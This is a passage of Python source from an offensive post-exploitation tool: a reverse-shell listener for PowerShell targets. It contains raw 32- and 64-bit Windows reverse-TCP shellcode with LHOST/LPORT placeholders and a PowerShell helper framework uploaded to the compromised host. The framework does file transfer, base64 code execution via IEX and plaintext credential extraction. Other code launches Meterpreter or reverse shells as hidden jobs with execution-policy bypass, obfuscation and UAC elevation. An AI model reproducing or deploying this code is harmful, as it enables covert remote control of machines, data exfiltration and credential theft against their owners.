	+ "0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,"
	+ "0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,"
	+ "0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,"
	+ "0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,"
	+ "0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,"
	+ "0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,"
	+ "0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,"
	+ "0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,"
	+ "0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,"
	+ "0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,"
	+ "0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,"
	+ "0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,"
	+ "0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,"
	+ "0x49,0xbc,0x02,0x00,[_LPORT_]," + "[_LHOST_]" + ",0x41,0x54,0x49,0x89,0xe4,0x4c,"    # << LPORT and LHOST gets declared here as 6 bytes
	+ "0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,"
	+ "0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x41,0x5e,0x50,"
	+ "0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,"
	+ "0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,"
	+ "0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,"
	+ "0x85,0xc0,0x74,0x0c,0x49,0xff,0xce,0x75,0xe5,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,"
	+ "0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,"
	+ "0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,"
	+ "0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,"
	+ "0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,"
	+ "0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,"
	+ "0x5f,0xff,0xd5,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xe1,0x41,0xff,"
	+ "0xe7",
	
	shellcode.REVERSE_TCP_32
	: "0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,"
	+ "0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,"
	+ "0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,"
	+ "0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,"
	+ "0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,"
	+ "0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,"
	+ "0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,"
	+ "0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,"
	+ "0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,"
	+ "0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,"
	+ "0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,[_LHOST_],"   # << LHOST gets declared here as 4 bytes
	+ "0x68,0x02,0x00,[_LPORT_],0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,"   # << LPORT gets declared here as 2 bytes
	+ "0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,"
	+ "0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,"
	+ "0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,"
	+ "0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,"
	+ "0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,"
	+ "0x1,0xc3,0x29,0xc6,0x75,0xee,0xc3",
}


class Framework(object):
			
	framework = {
		"IsAdmin"					: {
			"name"					: "",
			"function"				: "(){([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')}",
									},
		"SetWidth"					: {
			"name"					: "",
			"function"				: "($w){$u=(get-host).ui.rawui;$s=$u.buffersize;$s.width=$w;$u.buffersize=$s;$s=$u.windowsize;$s.width=$w;$u.windowsize=$s;}",
									},
		"AbsolutePath"				: {
			"name"					: "",
			"function"				: "($f){(resolve-path $f).path}",
									},
		"DownloadCmds"				: {
			"name"					: "",
			"function"				: "(){get-command|?{$_.ModuleName}|select Name|ft -HideTableHeaders}",
									},
		"FileExist"					: {
			"name"					: "",
			"function"				: "($f){Test-Path $f}",
									},
		"FileSize"					: {
			"name"					: "",
			"function"				: "($f){(Get-Item $f).length}",
									},
		"FileSum"					: {
			"name"					: "",
			"function"				: "($f){[System.BitConverter]::ToString((New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider).ComputeHash([System.IO.File]::ReadAllBytes($f))).replace('-','')}",
									},
		"DownloadChunk"				: {
			"name"					: "",
			"function"				: "($f,$o,$l){$s=(New-Object IO.FileStream -ArgumentList $f,([IO.FileMode]::Open),([IO.FileAccess]::Read));$b=(New-Object 'Byte[]'-ArgumentList $l);$s.Position=$o;$n=$s.Read($b,0,$b.Length);[void]$s.Close();return [Convert]::ToBase64String($b[0..($n-1)])}",
									},
		"UploadChunk"				: {
			"name"					: "",
			"function"				: "($f,$b){$b=[Convert]::FromBase64String($b);while($True){try{$s=(New-Object IO.FileStream -ArgumentList $f,([IO.FileMode]::Append),([IO.FileAccess]::Write));[void]$s.Write($b,0,$b.length);[void]$s.Dispose();[void]$s.Close(); break;}catch{}}}",
									},
		"UploadVariableChunk"		: {
			"name"					: "",
			"function"				: "($v,$b){Set-Variable -Name $v -Value ((Get-Variable -Name $v -Scope Global).Value + $b) -Scope Global}",
									},
		"VariableSum"				: {
			"name"					: "",
			"function"				: "($v){if((Test-Path variable:global:$v)){[BitConverter]::ToString((New-Object -TypeName Security.Cryptography.MD5CryptoServiceProvider).ComputeHash([Convert]::FromBase64String((Get-Variable -Name $v -Scope Global).Value))).replace('-','')}}",
									},
		"InvokeVariable"			: {
			"name"					: "",
			"function"				: "($v){if((Test-Path variable:global:$v)){IEX((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String((Get-Variable -Name $v -Scope Global).Value)))}}",
									},
		"InvokeModuleVariable"		: {
			"name"					: "",
			"function"				: "($v){if((Test-Path variable:global:$v)){IEX \"`$b=[ScriptBlock]::Create(((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String((Get-Variable -Name $v -Scope Global).Value))));New-Module -ScriptBlock `$b -Name $v\"}}",
									},
		"CreateCredential"			: {
			"name"					: "",
			"function"				: "($v,$u,$p){Set-Variable -Name $v -Value (new-object -typename System.Management.Automation.PSCredential -argumentlist ($u, (ConvertTo-SecureString -String $p -AsPlainText -Force))) -Scope Global}",
									},
		"GetCredential"				: {
			"name"					: "",
			"function"				: "($v){if((Test-Path variable:global:$v) -and ((Get-Variable $v).GetType().Name -eq'PSVariable')){(Get-Variable $v).value.Username + \"`n\" + [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR(((Get-Variable $v).value.Password)))}}",
									},	
		"AddKeyValue"				: {
			"name"					: "",
			"function"				: "($p,$n,$v){New-ItemProperty -Path $p -Name $n -Value $v -PropertyType STRING -Force|Out-Null}",
									},
		"RemoveKeyValue"			: {
			"name"					: "",
			"function"				: "($p,$n){Remove-ItemProperty -Path $p -Name $n -Force|Out-Null}",
									},
		"GetKeyValue"				: {
			"name"					: "",
			"function"				: "($p,$n){(Get-ItemProperty -Path $p -Name $n).$n}",
									},
		"PersistenceKey"			: {
			"name"					: "",
			"function"				: "($p){(Get-Item -Path $p)|select -ExpandProperty Property|?{$_ -eq [System.BitConverter]::ToString((new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider).ComputeHash((new-object -TypeName System.Text.UTF8Encoding).GetBytes((Get-ItemProperty -Path $p -Name $_).$_))).Replace('-', '').tolower()}}",
									},
	}

	def __init__(self, send_delegate, check_delegate, receive_delegate):

		# Set delegates
		self.send_delegate = send_delegate
		self.check_delegate = check_delegate
		self.receive_delegate = receive_delegate
		
		# Set dynamic function names to framework
		for fnc in self.framework:
			self.framework[fnc]["name"] = Utility.dynamic_variable()
			self.framework[fnc]["function"] = "function " + self.framework[fnc]["name"] + self.framework[fnc]["function"]


	def Upload(self):

		count = 0

		for fnc in self.framework:
			sys.stdout.write("\b" * Print.status("Uploading framwork: {0:.2f}%".format(count / len(self.framework) * 100), True))
			self.send_delegate(self.framework[fnc]["function"])
			self.receive_delegate(0)
			count += 1

		Print.success("Framework uploaded successfully" + Print.wipe())

	def IsAdmin(self):
		return self.check_delegate(self.framework["IsAdmin"]["name"]).lower() == "true"
	
	def DownloadCommands(self):
		return [x.strip() for x in self.check_delegate(self.framework["DownloadCmds"]["name"]).replace("\n", "").split("\r")[1:]]

	def SetWidth(self, width):
		return self.check_delegate(self.framework["SetWidth"]["name"] + " -w " + str(width))

	def AbsolutePath(self, file_path):
		return self.check_delegate(self.framework["AbsolutePath"]["name"] + " -f '" + file_path + "'")

	def FileExist(self, file_path):
		return self.check_delegate(self.framework["FileExist"]["name"] + " -f '" + file_path + "'").lower() == "true"

	def FileSize(self, file_path):
		return int(self.check_delegate(self.framework["FileSize"]["name"] + " -f '" + file_path + "'")) if self.FileExist(file_path) else 0

	def FileSum(self, file_path):
		return self.check_delegate(self.framework["FileSum"]["name"] + " -f '" + file_path + "'") if self.FileExist(file_path) else ""

	def DownloadChunk(self, file_path, offset, limit):		
		self.send_delegate(self.framework["DownloadChunk"]["name"] + " -f '" + file_path + "'" + " -o " + str(offset)  + " -l " + str(limit))
		return ("".join(self.receive_delegate(0).split("\n")[:-1])).strip()
	
	def UploadChunk(self, file_path, base64_chunk):
		self.send_delegate(self.framework["UploadChunk"]["name"] + " -f '" + file_path + "'" + " -b " + base64_chunk)
		self.receive_delegate(0)
		
	def UploadVariableChunk(self, variable_name, base64_chunk):
		self.send_delegate(self.framework["UploadVariableChunk"]["name"] + " -v " + variable_name + " -b " + base64_chunk)
		self.receive_delegate(0)
		
	def VariableSum(self, variable_name):
		return self.check_delegate(self.framework["VariableSum"]["name"] + " -v " + variable_name)
		
	def InvokeVariable(self, variable_name):
		self.send_delegate(self.framework["InvokeVariable"]["name"] + " -v " + variable_name)
		return self.receive_delegate(0)
	
	def InvokeModuleVariable(self, variable_name):
		self.send_delegate(self.framework["InvokeModuleVariable"]["name"] + " -v " + variable_name)
		return self.receive_delegate(0)
	
	def CreateCredential(self, variable_name, username, password):
		self.check_delegate(self.framework["CreateCredential"]["name"] + " -v " + variable_name + " -u '" + username + "' -p '" + password + "'")
		
	def GetCredential(self, variable_name):
		self.send_delegate(self.framework["GetCredential"]["name"] + " -v " + variable_name)
		return self.receive_delegate(0)
	
	def AddKeyValue(self, path, name, value):
		self.check_delegate(self.framework["AddKeyValue"]["name"] + " -p \"" + path + "\" -n \"" + name + "\" -v \"" + value + "\"")
	
	def RemoveKeyValue(self, path, name):
		return ""
	
	def GetKeyValue(self, path, name):
		return ""
	
	def PersistenceKey(self, path):
		return ""
		
class Listener(object):
	
	def __init__(self, lhost, lport):
		self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		self.lhost = lhost
		self.lport = lport
		self.framework = Framework(self.send_command, self.check_command, self.get_response)
		self.command_definition = {}
		self.credentials = []
		self.fast_load = False
		self.prompt = ""
		self.os_target = None
		
		# Define command behavior
		self.command_definition["Local-Invoke"] 				= lambda x: self.psh_Local_Invoke(x[len("Local-Invoke"):].strip())
		self.command_definition["Local-Import-Module"] 			= lambda x: self.psh_Local_Invoke(x[len("Local-Import-Module"):].strip(), True)
		self.command_definition["Local-Set-Width"] 				= lambda x: self.psh_Local_Set_Width(x[len("Local-Set-Width"):].strip())
		self.command_definition["Local-Upload"] 				= lambda x: self.psh_Local_Upload(x[len("Local-Upload"):].strip())
		self.command_definition["Local-Download"] 				= lambda x: self.psh_Local_Download(x[len("Local-Download"):].strip())
		self.command_definition["Local-Download-Commands"] 		= lambda x: self.psh_Local_Download_Commands()		
		self.command_definition["Local-Enumerate-System"] 		= lambda x: self.psh_Local_Enumerate_System()
		self.command_definition["Local-Check-Status"] 			= lambda x: self.psh_Local_Check_Status()
		self.command_definition["Local-Spawn-Meterpreter"]		= lambda x: self.psh_Local_Spawn_Shell(conf_name.METERPRETER)
		self.command_definition["Local-Spawn-Reverse-Shell"]	= lambda x: self.psh_Local_Spawn_Shell(conf_name.REVERSE_SHELL)
		self.command_definition["Local-Credential-Create"] 		= lambda x: self.psh_Local_Credential(True)
		self.command_definition["Local-Credential-List"] 		= lambda x: self.psh_Local_Credential()
		self.command_definition["clear"]						= lambda x: self.psh_Local_Clear()
				
		# Define autocomplete
		readline.parse_and_bind("tab: complete")
		readline.set_completer(self.cmd_complete)
		readline.set_completion_display_matches_hook(self.cmd_match_display_hook)
		readline.set_completer_delims("")


	def cmd_complete(self, text, state):
		
		# Path holder
		paths = []
		
		# Iterate though all command definitions
		for cmd in self.command_definition:	
			
			# Add command to paths
			paths.append(cmd)					

			# Check for command
			if cmd.startswith(text.split(" ")[0]) and text.split(" ")[0] == cmd:
				
				# Check for local dictionart mapping
				if cmd == "Local-Invoke" or cmd == "Local-Import-Module" or cmd == "Local-Upload":
					current = text[len(cmd):].strip()
					for x in glob.glob(current + "*"):
						paths.append(cmd + " " + x)

		# Exclude all paths not starting with typed text (case insensitive)
		paths = [path for path in paths if path.lower().startswith(text.lower())]
		
		# Check if only one command exists
		if len(paths) == 1 and paths[0] == text:
			paths = []	# Empty paths
		
		# Iterate through paths, and return accordingly
		for path in paths:
			if not state:
				return path
			else:
				state -= 1


	def cmd_match_display_hook(self, substitution, matches, longest_match_length):
		
		# Cell formatter
		def format_cell(cell):
			
			# Split command into pieces
			cmd = cell.split(" ")
			
			# Check if command has parameters
			if len(cmd) == 1:
				
				# Format command with parameters
				return "\033[92m\033[92m" + cell + "\033[0m\033[0m" if (
						cmd[0] in self.command_definition and self.command_definition[cmd[0]] != None
					) else "\033[00m\033[00m" + str(cell) + "\033[0m\033[0m"
			else:
				
				# Format command without parameters
				return "\033[92m" + cmd[0] + "\033[0m \033[94m" + " ".join(cmd[1:]) + "\033[0m" if (
						cmd[0] in self.command_definition and self.command_definition[cmd[0]] != None 
					) else "\033[00m\033[00m" + str(cell) + "\033[0m\033[0m"
		
		# Define column width
		column_width = 50

		# Check if any match exeeds the column width
		if max(len(x) for x in matches) < column_width:
			
			# Calculate number of columns that will fit
			column_count = (Utility.get_terminal_width() // column_width)
			
			# Holder for columns
			columns = []
			
			# Generate base template
			# column_width + (9 * 2), where 9 * 2 represents the combined length of all terminal text formats
			base_template = "\n  " + str(("{:<" + str(column_width + 9 * 2) + "}") * (column_count - 1)) + "{:<}"
			
			# Add empty matches if columns are uneven
			for i in range((len(matches) % column_count) + 1):
				matches.append("")
			
			# Reorder columns
			for column_index in range(column_count):
				columns.append(matches[column_index::column_count])
			
			# Zip variable length lists
			for row in zip(*columns):
				
				# Print variable length rows
				sys.stdout.write(base_template.format(*[format_cell(cell) for cell in row]))
														
		# Print list instead
		else:
			
			# Iterate through cells as a list
			for cell in matches:
				
				# Format each list item
				sys.stdout.write("\n  {0}".format(format_cell(cell)))
			
		# Print prompt
		sys.stdout.write("\n")
		sys.stdout.write(self.prompt)
		sys.stdout.write(substitution)
		
		# Flush stream
		sys.stdout.flush()


	def start(self):
		
		# Create connection holder
		self.connection = None
		
		try:
			Print.text()
			self.server.bind((self.lhost, self.lport))

			Print.info("Started reverse handler on %s:%d" % (self.lhost, self.lport))		
		
			self.server.listen(1)
			self.connection, address = self.server.accept()
			fcntl.fcntl(self.server, fcntl.F_SETFL, os.O_NONBLOCK)

			Print.success("Incomming connection from: %s:%d" % address)
			Print.status("Interacting...")
			Print.text()
			Print.text("\033[38;5;226m\033[48;5;196mBe aware: this is a pseudo powershell. Interactive prompts will result in hangs.\033[0m")
			Print.text("\033[38;5;226m\033[48;5;196mI.e. netsh, cmd, cat, etc. When calling cmdlets specify all required parameters.\033[0m")
			Print.text()
		
		# Catch socket errors
		except socket.error as e:
			Print.error(str(e))			
		
		# Kill handler on KeyboardInterrupt
		except KeyboardInterrupt:
			Print.text(Print.wipe(64, True), True)
			Print.status("Killing handler..." + Print.wipe(64))
			try:
				if self.connection: self.connection.close()
			except: pass
			
		
		# Check if connection is open
		if self.connection:

			# Try, with catch for socket error
			try:

				# Print initial prompt
				Print.text("\033[1m\033[38;5;255m" + ("\033[0m\n  \033[1m\033[38;5;255m".join(self.get_response().split("\n")[:-1])).strip() + "\033[0m")

				# Upload framework
				self.framework.Upload()

				# Set buffer and window width
				self.psh_Local_Set_Width()

				# Download commands from client
				self.psh_Local_Download_Commands()

				# Run initial status check for privilages
				self.psh_Local_Check_Status()

				while True:

					# Try, with catch for keyboard interrupt
					try:

						# Get response
						response = self.get_response(0) if self.fast_load else self.get_response()

						# Indicate a slow load
						self.fast_load = False

						# If response is empty... then close connection
						if not response: break

						# Format response
						self.prompt = self.format_response(response)

						# Send new data
						command = input(self.prompt)

						# Check if command is predefined
						if command.split(" ")[0] in self.command_definition and self.command_definition[command.split(" ")[0]] != None:

							# Execute command locally
							self.command_definition[command.split(" ")[0]](command)

							# Indicate a fast load
							self.fast_load = True

						else:

							# Execute command on client
							self.send_command(command)

					# Catch keyboard interrupt
					except KeyboardInterrupt:
						Print.text()
						if Print.confirm("Are you sure you want to kill the listener?"):
							break
						else:
							self.send_command("")
							pass

			# Catch socket error
			except socket.error as e:
				if e.errno != errno.ECONNRESET:
					Print.error(str(e))
				pass
			
			self.connection.close()
			self.server.shutdown(1)
			self.server.close()
			
		else:
			try:
				self.server.shutdown(1)
			except: pass
			self.server.close()

		Print.info("Closing connection")
	

	def get_response(self, timespan=0.5):
		
		# Make socket non blocking
		self.connection.setblocking(0)

		# Data buffer
		_buffer = [];

		# Set the beginning time
		begin = time.time()
		
		# Wait for buffer and timespan (this could create an infinite loop, so return on ctrl+c)
		while not (_buffer and (time.time() - begin) > timespan):
			
			try:
				# Read data in pipe
				data = self.connection.recv(8192).decode("iso-8859-1")
				
				if data:

					# Add data to buffer
					_buffer.append(data)
					
					# Change the beginning time
					begin = time.time()
				else:
					
					# Add gap
					time.sleep(0.1)
					
			# If socket error
			except socket.error as e:
				
				# Return empty on ECONNRESET
				if e.errno == errno.ECONNRESET:
					return ""
				
				# Pass on other errors (such as EWOULDBLOCK)
				pass
			
			# Return empty ctrl+c
			except KeyboardInterrupt:
				return ""
		
		# Make socket blocking again
		self.connection.setblocking(1)

		# join all parts to make final string
		return "".join(_buffer)


	def format_response(self, response):
		
		prompt = ""
		searcher = re.compile(r"(exception ::)(((.*)\n)*)(:: exception\n)")
		response = str(response)
		error = searcher.search(response)
		response = searcher.sub("", response).strip().split("\n")
		
		for i in range(len(response)):
			if i == len(response) - 1:
				
				if error:
					sys.stdout.write(("\n  \033[38;5;196m\033[48;5;16m" + "\033[0m\n  \033[38;5;196m\033[48;5;16m".join((str(error.group(2)).strip()).split("\n"))) + "\033[0m\n")
				
				prompt = ("  \033[1m\033[38;5;255m" + response[i] + "\033[0m")
			else:
				sys.stdout.write("  " + response[i] + "\n")
		sys.stdout.flush()
		
		return prompt

	
	def send_command(self, command):
		self.connection.send((command + "\n").encode("iso-8859-1"))
		
		
	def check_command(self, command):
		self.connection.send((command + "\n").encode("iso-8859-1"))
		return ("".join(self.get_response().split("\n")[:-1])).strip()


	def psh_Local_Check_Status(self):		
		
		output = ""
		
		# Clear command buffer
		self.check_command("")
				
		sys.stdout.write("\b" * Print.status("Checking status...", True))
					
		# Check os architecture
		self.os_target = os_target.WIN32 if self.check_command("if ([System.IntPtr]::Size -eq 4) { \"32\" } else { \"64\" }") == "32" else os_target.WIN64

		output += ("Elevated privilages? " + ("\033[1m\033[92mYes" if self.framework.IsAdmin() else "\033[1m\033[91mNo") + "\033[0m\n\n")
		
		self.send_command("(whoami /priv /nh) -replace '(\ (.*))',''")
		
		output += ("  " + ("Privilages information\n  --------------------------------------------------------------------------------\n  \033[92m" 
		   + "\033[0m\n  \033[92m".join(self.get_response().split("\n")[:-1])).strip() + "\033[0m\n")
		
		Print.text(Print.wipe())
		Print.text(output)
		
		# Send empty command to load buffer
		self.send_command("")
		
	
	def psh_Local_Spawn_Shell(self, payload_type):
		
		# Clear command buffer
		self.check_command("")
				
		credential_name = None
		Print.text()
		Print.text("Supply values for the following parameters:")
		lhost = input("  \033[1m\033[38;5;255mLHOST:\033[0m ").strip()
		lport = input("  \033[1m\033[38;5;255mLPORT:\033[0m ").strip()
		Print.text()
		
		Print.text("\033[1m\033[38;5;255mSpecify Credentials:\033[0m Run the Job with different credentials.")
		if Print.confirm("Specify other credentials?", False):
			credential_name = Utility.dynamic_variable()
			Print.text()
			Print.text("Supply values for the following parameters:")
			username = input("  \033[1m\033[38;5;255mUsername:\033[0m ").strip()			
			password = input("  \033[1m\033[38;5;255mPassword:\033[0m ").strip()
			
			self.framework.CreateCredential(credential_name, username, password)
		Print.text()
		
		Print.text("\033[1m\033[38;5;255mASK Elevation:\033[0m This will trigger the UAC (using a so called ASK elevation). This is NOT stealthy.")
		use_elevation = Print.confirm("Use 'ASK Elevation?'", False)
		Print.text()
		
		if (not Utility.is_ipv4_address(lhost)):
			Print.error("LHOST is not an IP address")
			lhost = None
			
		if (not (lport.isdigit() and int(lport) >= 1 and int(lport) <= 65535)):
			Print.error("LPORT is not a valid port number")
			lport = None
			
		if lhost != None and lport != None:			
		
			if payload_type == conf_name.METERPRETER:
				payload = generate_injection(
					Utility.replace_all(
						shellcodes[(shellcode.REVERSE_TCP_32 if self.os_target == os_target.WIN32 else shellcode.REVERSE_TCP_64)],
						("[_LPORT_]", "[_LHOST_]"),
						Utility.local_address_to_binary_array_string(lhost, lport)
					), self.os_target
				).encode("utf8")

			elif payload_type == conf_name.REVERSE_SHELL:
				payload = generate_reverse_shell(lhost, lport).encode("utf8")

			else:

				Print.error("Unknown payload")

				# Send empty command to load buffer
				self.send_command("")
				return

			variable_name = Utility.dynamic_variable()
			job_name = Utility.dynamic_variable()

			# Get payload size
			length = len(payload)
			chunk_size = 384
			uploaded = 0

			# Start timer
			now = time.time()

			# Reserve variable with an empty value
			self.framework.UploadVariableChunk(variable_name, "")

			# Loop through each data chunk
			for i in range(int(length / chunk_size) + 1):

				# Read base64 encoded chunk from file
				self.framework.UploadVariableChunk(variable_name, base64.b64encode(payload[(i * chunk_size):(i * chunk_size + chunk_size)]).decode("utf-8", "ignore"))
				uploaded += (length - uploaded) if ((length - uploaded) < chunk_size) else chunk_size

				# Print sexy status
				sys.stdout.write("\b" * Print.status(
					"Uploading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format(
						(uploaded / length * 100), 
						Print.size(uploaded), 
						Print.size(length),
						Print.ETA(now, uploaded, length)
					) + Print.wipe(), True))

			# Prompt for integrity check
			sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True))

			# Check integrity (of variable)
			if (self.framework.VariableSum(variable_name).lower() == hashlib.md5(payload).hexdigest().lower()):
				Print.success("Upload completed" + Print.wipe())

				sys.stdout.write("\b" * Print.status("Launching background job...", True))

				# Invoke payload!
				self.check_command("$" + variable_name + " = [scriptblock]::Create((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String($" + variable_name + ")))")

				# Escape payload back to string, and back to scriptblock
				self.check_command("$" + variable_name + " = $" + variable_name + ".ToString() -replace \"\\$\",\"``$\"")
					
				# Check if elevation should be used
				if use_elevation:
					self.check_command("$" + variable_name + " = [scriptblock]::Create(\"(Start-Process " + powershell_obfuscation("[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_VERB_] [_OBF_RUNAS_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + variable_name + "`\"") + ").ID\")")
				
				# Execute with -NoNewWindow
				else:
					self.check_command("$" + variable_name + " = [scriptblock]::Create(\"(Start-Process " + powershell_obfuscation("[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_NONEWWINDOW_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + variable_name + "`\"") + ").ID\")")

				if credential_name == None:
					self.check_command("Start-Job -Name " + job_name + " -ScriptBlock $" + variable_name)
				else:
					self.check_command("Start-Job -Name " + job_name + " -ScriptBlock $" + variable_name + " -Credential $" + credential_name )
					self.check_command("Remove-Variable -Name " + credential_name)

				Print.success("Job started: " + job_name)
				Print.info("Check status with \033[1m\033[38;5;255mGet-Job " + job_name + "\033[0m")
				Print.info("Check process ID with \033[1m\033[38;5;255m(Get-Job " + job_name + ").ChildJobs.Output\033[0m or \033[1m\033[38;5;255m(((Get-Job " + job_name + ").ChildJobs)|Select Output).Output\033[0m")


			else:
				Print.error("Integrity check failed" + Print.wipe())

			# Remove variable after it has been used
			self.check_command("Remove-Variable -Name " + variable_name)
		
		else:
			Print.error("Incorrect values were specified")
			
		
		# Print empty line
		Print.text()
		
		# Send empty command to load buffer
		self.send_command("")
		
		
	
	def psh_Local_Credential(self, create_new=False):
		
		# Clear command buffer
		self.check_command("")
		
		if create_new:
			Print.text()
			Print.text("Supply values for the following parameters:")
			variable_name = Utility.dynamic_variable()
			
			username = input("  \033[1m\033[38;5;255mUsername:\033[0m ").strip()			
			password = input("  \033[1m\033[38;5;255mPassword:\033[0m ").strip()
			
			self.framework.CreateCredential(variable_name, username, password)
			
			self.credentials.append(variable_name)
			
			Print.success("Credential created as global variable: \033[1m\033[38;5;255m" + variable_name + "\033[0m")
			
		elif len(self.credentials) > 0:
		
			credentials = []
			sys.stdout.write("\b" * Print.status("Collecting credentials...", True))
			
			for credential in self.credentials:
				result = self.framework.GetCredential(credential).split("\n")[:-1]
				if (len(result) == 2):
					credentials.append([credential, result[0], result[1]])
			
			if len(credentials) > 0:
				
				column0_max = max(max(len(x[0]) for x in credentials), len("Variable")) + 2
				column1_max = max(max(len(x[1]) for x in credentials), len("Username")) + 2
